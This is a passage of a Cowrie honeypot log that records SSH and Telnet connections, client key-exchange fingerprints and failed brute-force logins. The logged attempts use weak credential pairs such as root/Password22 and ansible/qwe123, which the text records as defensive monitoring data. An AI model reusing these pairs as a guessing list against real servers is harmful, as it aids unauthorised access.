ha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:13.116782Z","src_ip":"159.203.92.129","session":"7880045759b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qazwsxedc1","message":"login attempt [ansible/qazwsxedc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:13.129141Z","src_ip":"159.203.92.129","session":"7880045759b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:14.135161Z","src_ip":"159.203.92.129","session":"7880045759b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.577306032180786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:18.167664Z","src_ip":"62.171.135.55","session":"ef9a8bf42ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":52930,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e76e8e8eb9a","protocol":"ssh","message":"New connection: 50.99.170.152:52930 (159.203.135.109:22) [session: 0e76e8e8eb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:42.028181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:42.032916Z","src_ip":"50.99.170.152","session":"0e76e8e8eb9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:42.096579Z","src_ip":"50.99.170.152","session":"0e76e8e8eb9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password22","message":"login attempt [root/Password22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:42.372380Z","src_ip":"50.99.170.152","session":"0e76e8e8eb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:43.441504Z","src_ip":"50.99.170.152","session":"0e76e8e8eb9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56216,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e3f1dffd6dd","protocol":"ssh","message":"New connection: 159.203.92.129:56216 (159.203.135.109:22) [session: 1e3f1dffd6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:57.969181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:57.973969Z","src_ip":"159.203.92.129","session":"1e3f1dffd6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:57.978484Z","src_ip":"159.203.92.129","session":"1e3f1dffd6dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qazwsxedc2","message":"login attempt [ansible/qazwsxedc2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:57.990795Z","src_ip":"159.203.92.129","session":"1e3f1dffd6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:58.996349Z","src_ip":"159.203.92.129","session":"1e3f1dffd6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":46584,"dst_ip":"159.203.135.109","dst_port":22,"session":"49dfd103c5d9","protocol":"ssh","message":"New connection: 50.99.170.152:46584 (159.203.135.109:22) [session: 49dfd103c5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:32.507277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:32.512120Z","src_ip":"50.99.170.152","session":"49dfd103c5d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:32.571194Z","src_ip":"50.99.170.152","session":"49dfd103c5d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"1","message":"login attempt [bitrix/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:32.845998Z","src_ip":"50.99.170.152","session":"49dfd103c5d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:33.906914Z","src_ip":"50.99.170.152","session":"49dfd103c5d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59462,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5797232b4f6","protocol":"ssh","message":"New connection: 159.203.92.129:59462 (159.203.135.109:22) [session: c5797232b4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:43.144966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:43.149503Z","src_ip":"159.203.92.129","session":"c5797232b4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:43.164583Z","src_ip":"159.203.92.129","session":"c5797232b4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwe123","message":"login attempt [ansible/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:43.177213Z","src_ip":"159.203.92.129","session":"c5797232b4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:55:44.183414Z","src_ip":"159.203.92.129","session":"c5797232b4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":59590,"dst_ip":"159.203.135.109","dst_port":22,"session":"9135265fbb3a","protocol":"ssh","message":"New connection: 50.99.170.152:59590 (159.203.135.109:22) [session: 9135265fbb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:24.525820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:24.530495Z","src_ip":"50.99.170.152","session":"9135265fbb3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:24.590623Z","src_ip":"50.99.170.152","session":"9135265fbb3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password4321","message":"login attempt [root/Password4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:24.866708Z","src_ip":"50.99.170.152","session":"9135265fbb3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:25.928518Z","src_ip":"50.99.170.152","session":"9135265fbb3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60906,"dst_ip":"159.203.135.109","dst_port":22,"session":"a83811989943","protocol":"ssh","message":"New connection: 159.203.92.129:60906 (159.203.135.109:22) [session: a83811989943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:28.543659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:28.548050Z","src_ip":"159.203.92.129","session":"a83811989943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:28.554396Z","src_ip":"159.203.92.129","session":"a83811989943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwe123jun,.","message":"login attempt [ansible/qwe123jun,.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:28.563911Z","src_ip":"159.203.92.129","session":"a83811989943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:56:29.570480Z","src_ip":"159.203.92.129","session":"a83811989943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43582,"dst_ip":"159.203.135.109","dst_port":22,"session":"883f0ac60a87","protocol":"ssh","message":"New connection: 159.203.92.129:43582 (159.203.135.109:22) [session: 883f0ac60a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:14.030284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:14.036623Z","src_ip":"159.203.92.129","session":"883f0ac60a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:14.041041Z","src_ip":"159.203.92.129","session":"883f0ac60a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qweRTY123$%^","message":"login attempt [ansible/qweRTY123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:14.053292Z","src_ip":"159.203.92.129","session":"883f0ac60a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:57:15.059808Z","src_ip":"159.203.92.129","session":"883f0ac60a87","protocol":"ssh"}
